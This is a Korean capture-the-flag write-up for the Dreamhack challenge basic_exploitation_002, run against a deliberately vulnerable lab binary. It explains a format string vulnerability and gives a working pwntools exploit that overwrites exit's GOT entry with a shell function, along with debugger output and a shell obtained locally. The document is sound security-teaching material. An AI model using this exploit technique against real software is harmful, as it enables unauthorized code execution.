[dreamhack] basic_exploitation_002 writeup

1. 문제

thumbnail
basic_exploitation_002

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_002)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/4

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

간단한 FSB취약점 문제이다.


처음엔 bof 문제인가? 했는데 gdb에서 보이는 buf의 위치가 ebp-0x80이라 안됐다. printf함수를 사용할 때 buf에 들어있는 값을 기준으로 그냥 출력하므로 서식문자를 이용하는 fsb 취약점을 이용할 수 있다.

입력한 인자가 어디서 출력되는지 확인해보자.

ubuntu@instance-20250406-1126:~/dreamhack/level2/basic_exploitation_002$ ./basic_exploitation_002 
aaaa.%p.%p.%p.%p
aaaa.0x61616161.0x2e70252e.0x252e7025.0x70252e70

바로 첫번째 인자에서 출력되는 것을 볼 수 있다.

그러면 이를 이용해서 뭘 덮을 수 있을까 고민했다. 처음에는 저번에 본 문제에서처럼 출력하다보면 main의 base 주소가 나오나 싶었는데 no PIE인걸 보니 그런건 아니었고 마지막 exit함수가 눈에 띄었다. exit함수의 got 주소를 get_shell로 덮으면 exit이 실행될때 쉘이 실행될 것이다.

그렇다면 exitgot 주소와 get_shell의 주소를 확인해보자.

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /home/ubuntu/dreamhack/level2/basic_exploitation_002/basic_exploitation_002:
GOT protection: Partial RELRO | Found 9 GOT entries passing the filter
[0x804a00c] read@GLIBC_2.0 -> 0x8048416 (read@plt+6) ◂— push 0 /* 'h' */
[0x804a010] printf@GLIBC_2.0 -> 0x8048426 (printf@plt+6) ◂— push 8
[0x804a014] signal@GLIBC_2.0 -> 0x8048436 (signal@plt+6) ◂— push 0x10
[0x804a018] alarm@GLIBC_2.0 -> 0x8048446 (alarm@plt+6) ◂— push 0x18
[0x804a01c] puts@GLIBC_2.0 -> 0x8048456 (puts@plt+6) ◂— push 0x20 /* 'h ' */
[0x804a020] system@GLIBC_2.0 -> 0x8048466 (system@plt+6) ◂— push 0x28 /* 'h(' */
[0x804a024] exit@GLIBC_2.0 -> 0x8048476 (exit@plt+6) ◂— push 0x30 /* 'h0' */
[0x804a028] __libc_start_main@GLIBC_2.0 -> 0xf7da1cf0 (__libc_start_main) ◂— endbr32 
[0x804a02c] setvbuf@GLIBC_2.0 -> 0x8048496 (setvbuf@plt+6) ◂— push 0x40 /* 'h@' */
pwndbg> p get_shell
$4 = {<text variable, no debug info>} 0x8048609 <get_shell>

둘다 0x0804의 상위주소를 가지고 있으므로, 하위주소 2바이트만 8609로 덮어주면 되겠다.

그러면 두가지 방법이 있는데 한번에 2바이트를 덮거나, 1바이트 씩 나눠서 덮을 수도 있다.

아래 exploit에서 두가지 방법 모두를 작성했다.

from pwn import *

p = process("./basic_exploitation_002")
elf = ELF("./basic_exploitation_002")

get_shell = 0x8048609
exit_got = 0x804a024

# exploit 1.
payload = b''
payload += p32(exit_got)
payload += p32(exit_got + 1)
payload += f'%1c%1$hhn'.encode()
payload += f'%125c%2$hhn'.encode()

# exploit 2.
payload2 = b''
payload2 += p32(exit_got)
payload2 += f'%34309c%1$hn'.encode()

p.send(payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/basic_exploitation_002$ python3 e_basic_exploitation_002.py 
[+] Starting local process './basic_exploitation_002': pid 2307720
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/basic_exploitation_002/basic_exploitation_002'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Switching to interactive mode
$\xa0\x04\x08%\xa0\x04\x08$                                                                                                                            %\x0b\xe6\xad\xff\x02$  
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

여전히 vm 크레딧 없어서 로컬에서만 수행 ㅠㅠ


쉽게 쉽게 해결~